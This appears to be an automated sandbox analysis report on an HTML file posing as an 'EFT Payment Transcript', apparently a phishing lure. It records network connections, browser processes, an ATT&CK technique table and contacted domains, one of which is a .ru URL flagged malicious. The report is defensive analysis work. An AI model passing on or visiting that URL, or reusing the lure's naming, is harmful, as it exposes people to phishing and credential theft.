Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50166
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50165
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 50220 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50170
Source: unknown	Network traffic detected: HTTP traffic on port 50302 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 50491 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 50214 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50145 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50277 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50386 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50219
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50248 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50334 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50214
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50334
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50226
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50229
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50228
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50221
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50220
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50224
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50363 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50380 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50353
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50354
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 50374 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50615 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50249
Source: unknown	Network traffic detected: HTTP traffic on port 50385 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50248
Source: unknown	Network traffic detected: HTTP traffic on port 50249 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50362
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50485
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50363
Source: unknown	Network traffic detected: HTTP traffic on port 50207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50366
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50365
Source: unknown	Network traffic detected: HTTP traffic on port 50224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50247
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50246
Source: unknown	Network traffic detected: HTTP traffic on port 50266 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50250
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50491
Source: unknown	Network traffic detected: HTTP traffic on port 50229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50404 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50362 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50303
Source: unknown	Network traffic detected: HTTP traffic on port 50123 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50307
Source: unknown	Network traffic detected: HTTP traffic on port 50190 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50420
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50302
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50321 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50493 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50205
Source: unknown	Network traffic detected: HTTP traffic on port 50228 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50204
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50207
Source: unknown	Network traffic detected: HTTP traffic on port 50196 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50209
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50329
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50321
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50445
Source: unknown	Network traffic detected: HTTP traffic on port 50157 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\EFT Payment_Transcript__Survitecgroup.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2028,i,17852716604805810969,10536949635546678073,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2028,i,17852716604805810969,10536949635546678073,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Source	Detection	Scanner	Label
file:///C:/Users/user/Desktop/EFT%20Payment_Transcript__Survitecgroup.html	0%	Avira URL Cloud	safe
https://rjwc1sic.olistraket.ru/mbbhx7U/	0%	Avira URL Cloud	safe
https://app.pbiwebcontent.com/webcontentsandbox.html	0%	Avira URL Cloud	safe
https://stores.office.com/subscription/acquire	0%	Avira URL Cloud	safe
https://signup-local.azure.com/	0%	Avira URL Cloud	safe
http://interactjs.io/docs/#resize-square	0%	Avira URL Cloud	safe
https://dc-int.services.visualstudio.com	0%	Avira URL Cloud	safe
https://stores.office.com/	0%	Avira URL Cloud	safe
https://outlook-sdf.live.com/mail/	0%	Avira URL Cloud	safe
http://www.javascripter.net/faq/browsern.htm	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
s.tribalfusion.com	172.64.150.63	true	false	high
global.px.quantserve.com	91.228.74.159	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
eu-eb2.3lift.com	76.223.111.18	true	false	high
bttrack.com	192.132.33.69	true	false	high
adobetarget.data.adobedc.net	66.235.152.156	true	false	high
idsync.rlcdn.com	35.244.154.8	true	false	high
jivgrohtti3mlmhdskddcmqrm1wkfilwdeoqdwi2fwvqlpimuj.lpliwptf.ru	104.21.73.56	true	false	unknown
rjwc1sic.olistraket.ru	172.67.134.107	true	true	unknown
code.jquery.com	151.101.2.137	true	false	high
dualstack.tls13.taboola.map.fastly.net	151.101.1.44	true	false	high
sync.crwdcntrl.net	13.228.52.238	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
publisher.liveperson.net	34.120.154.120	true	false	high
cm.g.doubleclick.net	142.250.181.98	true	false	high
rtb.adentifi.com	18.204.134.151	true	false	high
www.google.com	172.217.21.36	true	false	high
mcraa.fs.liveperson.com	35.153.58.89	true	false	high
dcs-ups.g03.yahoodns.net	188.125.88.204	true	false	high
dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com	52.211.89.170	true	false	high
sync.srv.stackadapt.com	52.71.40.119	true	false	high
msftenterprise.sc.omtrdc.net	63.140.62.17	true	false	high
waws-prod-dxb-b24c6da5.sip.p.azurewebsites.windows.net	20.38.136.70	true	false	unknown
match.adsrvr.org	15.197.193.217	true	false	high
star-mini.c10r.facebook.com	157.240.252.35	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
us-u.openx.net	34.98.64.218	true	false	high
s.twitter.com	104.244.42.3	true	false	high
aragorn-prod-or-acai-lb.inbake.com	52.27.193.239	true	false	high
dsum-sec.casalemedia.com	104.18.26.193	true	false	high
a.tribalfusion.com	104.18.37.193	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
dh1y47vf5ttia.cloudfront.net	108.139.60.87	true	false	unknown
ib.anycast.adnxs.com	185.89.210.212	true	false	high
pug-sg4c.pubmnet.com	67.199.150.86	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
ag.innovid.com	unknown	unknown	false	high
idpix.media6degrees.com	unknown	unknown	false	high
va.v.liveperson.net	unknown	unknown	false	high
px.owneriq.net	unknown	unknown	false	high
static-assets.fs.liveperson.com	unknown	unknown	false	high
cm.everesttech.net	unknown	unknown	false	high
jadserve.postrelease.com	unknown	unknown	false	high
z.clarity.ms	unknown	unknown	false	high
dmpsync.3lift.com	unknown	unknown	false	high
content.powerapps.com	unknown	unknown	false	high
accdn.lpsnmedia.net	unknown	unknown	false	high
assets.adobedtm.com	unknown	unknown	false	high
rtd.tubemogul.com	unknown	unknown	false	high
pixel.rubiconproject.com	unknown	unknown	false	high
trc.taboola.com	unknown	unknown	false	high
munchkin.marketo.net	unknown	unknown	false	high
cms.analytics.yahoo.com	unknown	unknown	false	high
sync-tm.everesttech.net	unknown	unknown	false	high
lpcdn.lpsnmedia.net	unknown	unknown	false	high
ds.reson8.com	unknown	unknown	false	high
ups.analytics.yahoo.com	unknown	unknown	false	high
api.powerbi.com	unknown	unknown	false	high
image2.pubmatic.com	unknown	unknown	false	high
cdn.botframework.com	unknown	unknown	false	high
dpm.demdex.net	unknown	unknown	false	high
rtd-tm.everesttech.net	unknown	unknown	false	high
servedby.flashtalking.com	unknown	unknown	false	high
www.facebook.com	unknown	unknown	false	high
www.clarity.ms	unknown	unknown	false	high
mscom.demdex.net	unknown	unknown	false	high
play.vidyard.com	unknown	unknown	false	high
analytics.twitter.com	unknown	unknown	false	high
cms.quantserve.com	unknown	unknown	false	high
dc.services.visualstudio.com	unknown	unknown	false	high
ib.adnxs.com	unknown	unknown	false	high
sync.search.spotxchange.com	unknown	unknown	false	high
login.microsoftonline.com	unknown	unknown	false	high
lptag.liveperson.net	unknown	unknown	false	high

Name	Malicious	Antivirus Detection	Reputation
https://rjwc1sic.olistraket.ru/mbbhx7U/	true	Avira URL Cloud: safe	unknown
https://dmpsync.3lift.com/getuid?ld=1&gdpr=0&cmp_cs=&us_privacy=&redir=%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D72352%26dpuuid%3D%24UID%26gdpr%3D0%26gdpr_consent%3D	false		high
https://mcraa.fs.liveperson.com/messaging-agent-availability/api/account/60270350/getSkillAvailability?skillID=1832735030	false		high
https://dpm.demdex.net/ibs:dpid=477&dpuuid=d7c79c203da28c795bb08a99b9de6d7c900543afe46b3206ee725e8abac528deb0da87c991749652	false		high
https://us-u.openx.net/w/1.0/sd?id=537148856&val=Z3FyGwAAFARtxwAT&cc=1	false		high
https://dpm.demdex.net/ibs:dpid=121998&dpuuid=83141a6ab16704ba82103f5ac51471c2	false		high
https://dpm.demdex.net/ibs:dpid=1175&gdpr=0&dpuuid=6XOk1-h2oofyfKWD7ie-gL0nodfyc_GD6yExSP2v	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://mscom.demdex.net/dest5.html?d_nsid=0	false		high
https://cms.quantserve.com/pixel/p-vj4AYjBqd6VJ2.gif?idmatch=0&gdpr=0&gdpr_consent=	false		high
https://a.nel.cloudflare.com/report/v4?s=MlfSQvSmKF1ObMbzZnEx4UlIO6ZHkK30VrtgtSe4QlO2ZOox71nI6fC7HMviNB6Mrdsjp%2FrTNSgWU94Bx8jUOW8x71Q%2BEkfpa5hOzYjWmfcO9pIMN8%2FsIyfVQbTX9w%3D%3D	false		high
file:///C:/Users/user/Desktop/EFT%20Payment_Transcript__Survitecgroup.html	false	Avira URL Cloud: safe	unknown
https://cm.g.doubleclick.net/pixel?google_nid=adobe_dmp&google_cm&gdpr=0&gdpr_consent=&google_hm=MTQyOTI0MTQwMjYzNDI5MjkzMDMyMDU2ODI0NjMwMjA0MjYzNzM=	false		high
https://sync.srv.stackadapt.com/sync?nid=adobe	false		high
https://ups.analytics.yahoo.com/ups/58782/cms?partner_id=ADOBE&_hosted_id=14292414026342929303205682463020426373&gdpr=0&gdpr_consent=	false		high
https://rtb.adentifi.com/CookieSyncAdobe	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/pat/8f9afee62d6042e1/1735487954147/b8aaa4a8102b77b401a808710c635239144ea7b959d61f25673eccc384cb072c/CoFQbEN2zqApqCr	false		high
https://dpm.demdex.net/ibs:dpid=771&dpuuid=CAESELCgsxofEX5PHs4AOWEDa0M&google_cver=1?gdpr=0&gdpr_consent=	false		high
https://ag.innovid.com/dv/sync?tid=6	false		high
https://dpm.demdex.net/ibs:dpid=3047&dpuuid=620719B5DF4EDF&gdpr=0&gdpr_consent=	false		high
https://dmpsync.3lift.com/getuid?redir=%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D72352%26dpuuid%3D$UID%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent=	false		high
https://ib.adnxs.com/bounce?%2Fgetuid%3Fhttps%253A%252F%252Fdpm.demdex.net%252Fibs%253Adpid%253D358%2526dpuuid%253D%2524UID	false		high
https://dpm.demdex.net/ibs:dpid=57282&dpuuid=764177A7D2C08DCC206089C3EFAF3FD8	false		high
https://static-assets.fs.liveperson.com/microsoft/lp_ada_enhancements-prod.css	false		high
https://dpm.demdex.net/id?d_visid_ver=4.4.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_orgid=EA76ADE95776D2EC7F000101%40AdobeOrg&d_nsid=0&ts=1735488016603	false		high
https://dpm.demdex.net/ibs:dpid=72352&dpuuid=383283436482882224299&gdpr=0&gdpr_consent=	false		high

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/mozilla/rhino/issues/346	chromecache_328.2.dr, chromecache_327.2.dr	false		high
https://login.microsoftonline.com/uxlogout?appid	chromecache_391.2.dr	false		high
https://aka.ms/PBI_Comm_Overview	chromecache_323.2.dr, chromecache_472.2.dr	false		high
https://tc39.es/ecma262/#sec-object.getownpropertydescriptor	chromecache_328.2.dr, chromecache_327.2.dr	false		high
https://github.com/zloirock/core-js	chromecache_328.2.dr, chromecache_496.2.dr, chromecache_531.2.dr, chromecache_327.2.dr	false		high
https://support.office.com/tr-tr/article/get-support-or-advice-18948a4c-3eb1-4b30-b1bc-a4cc29eb7655	chromecache_464.2.dr	false		high
https://lpcdn.lpsnmedia.net/le/apps/campaigns/1.2.1-release_122345/img/engagementWindow/no-image2.pn	chromecache_473.2.dr, chromecache_542.2.dr	false		high
https://content.powerapps.com/resource/powerbiwfe/styles/visuals.min.4a1a13972da0a85c167f.css	chromecache_494.2.dr, chromecache_547.2.dr	false		high
https://js.monitor.azure.com/scripts/c/ms.analytics-web-3.min.js	chromecache_276.2.dr	false		high
https://pbides.powerbi.com	chromecache_494.2.dr, chromecache_547.2.dr	false		high
http://interactjs.io/docs/#resize-square	chromecache_434.2.dr, chromecache_374.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.jsdelivr.net/npm/bluebird	chromecache_586.2.dr, chromecache_432.2.dr	false		high
https://github.com/scottjehl/picturefill/blob/master/Authors.txt;	chromecache_527.2.dr	false		high
https://support.office.com/ar-sa/article/get-support-or-advice-18948a4c-3eb1-4b30-b1bc-a4cc29eb7655	chromecache_464.2.dr	false		high
http://www.javascripter.net/faq/browsern.htm	chromecache_487.2.dr, chromecache_298.2.dr	false	Avira URL Cloud: safe	unknown
https://eastus-8.in.applicationinsights.azure.com/	chromecache_494.2.dr, chromecache_547.2.dr	false		high
https://tc39.es/ecma262/#sec-tointegerorinfinity	chromecache_328.2.dr, chromecache_327.2.dr	false		high
https://munchkin.marketo.net/157/munchkin.js	chromecache_364.2.dr, chromecache_293.2.dr	false		high
https://pbivisuals.powerbi.com	chromecache_494.2.dr, chromecache_547.2.dr	false		high
https://api.company-target.com/api/v2/ip.json?key=70aff8023e038d56ea636f68e5c5922b	chromecache_288.2.dr	false		high
https://github.com/w3c/aria-practices/pull/1757	chromecache_328.2.dr, chromecache_327.2.dr	false		high
https://axios-http.com	chromecache_534.2.dr, chromecache_344.2.dr	false		high
https://openjsf.org/	chromecache_434.2.dr, chromecache_374.2.dr, chromecache_274.2.dr, chromecache_427.2.dr	false		high
https://github.com/microsoft/clarity	chromecache_560.2.dr, chromecache_438.2.dr	false		high
https://outlook-sdf.live.com/mail/	chromecache_524.2.dr, chromecache_492.2.dr	false	Avira URL Cloud: safe	unknown
http://github.com/jquery/globalize	chromecache_366.2.dr, chromecache_471.2.dr	false		high
https://keycode.info/table-of-all-keycodes	chromecache_328.2.dr, chromecache_327.2.dr	false		high
https://tc39.es/ecma262/#sec-getmethod	chromecache_328.2.dr, chromecache_327.2.dr	false		high
https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Roles/Alert_Role	chromecache_384.2.dr, chromecache_464.2.dr	false		high
https://support.office.com/en-ie/article/get-support-or-advice-18948a4c-3eb1-4b30-b1bc-a4cc29eb7655	chromecache_464.2.dr	false		high
https://support.office.com/en-ae/article/get-support-or-advice-18948a4c-3eb1-4b30-b1bc-a4cc29eb7655	chromecache_464.2.dr	false		high
https://www.skype.com/en/	chromecache_323.2.dr, chromecache_472.2.dr	false		high
https://support.office.com/zh-cn/article/get-support-or-advice-18948a4c-3eb1-4b30-b1bc-a4cc29eb7655	chromecache_464.2.dr	false		high
https://assets.adobedtm.com/5ef092d1efb5/2537c33769cb/2519b7f94019/RCe86a4eb0fcba478dbcc7216ce837462	chromecache_557.2.dr	false		high
https://developer.mozilla.org/en-US/docs/Web/API/KeyboardEvent/key/Key_Values	chromecache_328.2.dr, chromecache_327.2.dr	false		high
https://support.office.com/th-th/article/get-support-or-advice-18948a4c-3eb1-4b30-b1bc-a4cc29eb7655	chromecache_464.2.dr	false		high
https://github.com/imakewebthings/waypoints/blog/master/licenses.txt	chromecache_434.2.dr, chromecache_374.2.dr	false		high
https://content.powerapps.com/resource/powerbiwfe/styles/powerbi.common.externals.min.45febe62502627	chromecache_494.2.dr, chromecache_547.2.dr	false		high
http://underscorejs.org/LICENSE	chromecache_434.2.dr, chromecache_374.2.dr, chromecache_274.2.dr, chromecache_427.2.dr	false		high
https://lpcdn.lpsnmedia.net/le_unified_window/9.12.0.19-release_4769/resources/loader_on_warmGray5_7	chromecache_276.2.dr	false		high
https://jquery.com/	chromecache_573.2.dr	false		high
https://developers.marketo.com/MunchkinLicense.pdf	chromecache_477.2.dr, chromecache_414.2.dr	false		high
https://support.office.com/he-il/article/get-support-or-advice-18948a4c-3eb1-4b30-b1bc-a4cc29eb7655	chromecache_464.2.dr	false		high
https://stores.office.com/subscription/acquire	chromecache_276.2.dr	false	Avira URL Cloud: safe	unknown
https://tc39.es/ecma262/#sec-tolength	chromecache_328.2.dr, chromecache_327.2.dr	false		high
https://signup.azure.com/	chromecache_276.2.dr	false		high
https://portal.office.com/adminportal/home#/catalog	chromecache_494.2.dr, chromecache_547.2.dr	false		high
https://support.office.com/it-it/article/get-support-or-advice-18948a4c-3eb1-4b30-b1bc-a4cc29eb7655	chromecache_464.2.dr	false		high
https://breeze.aimon.applicationinsights.io	chromecache_546.2.dr, chromecache_543.2.dr	false		high
https://tc39.es/ecma262/#sec-IsHTMLDDA-internal-slot	chromecache_328.2.dr, chromecache_327.2.dr	false		high
https://api.powerbi.com	chromecache_547.2.dr	false		high
https://app.pbiwebcontent.com/webcontentsandbox.html	chromecache_494.2.dr, chromecache_547.2.dr	false	Avira URL Cloud: safe	unknown
https://sizzlejs.com/	chromecache_573.2.dr	false		high
https://pbidpe.powerbi.com	chromecache_494.2.dr, chromecache_547.2.dr	false		high
https://github.com/jquery/PEP	chromecache_434.2.dr, chromecache_374.2.dr	false		high
https://support.office.com/de-de/article/get-support-or-advice-18948a4c-3eb1-4b30-b1bc-a4cc29eb7655	chromecache_464.2.dr	false		high
https://npms.io/search?q=ponyfill.	chromecache_434.2.dr, chromecache_374.2.dr, chromecache_274.2.dr, chromecache_427.2.dr	false		high
https://www.xbox.com/en-us/games/store/xbox-game-pass-ultimate/cfq7ttc0khs0?icid=CNavAllXboxGamePass	chromecache_323.2.dr, chromecache_472.2.dr	false		high
https://bugzil.la/548397	chromecache_328.2.dr, chromecache_327.2.dr	false		high
https://support.office.com/es-co/article/get-support-or-advice-18948a4c-3eb1-4b30-b1bc-a4cc29eb7655	chromecache_464.2.dr	false		high
https://content.powerapps.com/resource/powerbiwfe/scripts/jquery.globalize/globalize.culture.en-US.0	chromecache_494.2.dr, chromecache_547.2.dr	false		high
https://mcraa.fs.liveperson.com/messaging-agent-availability/api/account/60270350/getSkillAvailabili	chromecache_276.2.dr	false		high
https://signup-local.azure.com/	chromecache_276.2.dr	false	Avira URL Cloud: safe	unknown
https://dev.azure.com/powerbi/PowerBIClients/_git/PowerBIClients/pullrequest/131629)	chromecache_434.2.dr, chromecache_374.2.dr	false		high
https://assets.adobedtm.com/5ef092d1efb5/2537c33769cb/2519b7f94019/RCe273b42c34d5427cb02b2d6cd022cac	chromecache_508.2.dr	false		high
https://content.powerapps.com/resource/powerbiwfe/scripts/teamsTelemetry.bundle.min.34c9b7c9fab687ea	chromecache_494.2.dr, chromecache_547.2.dr	false		high
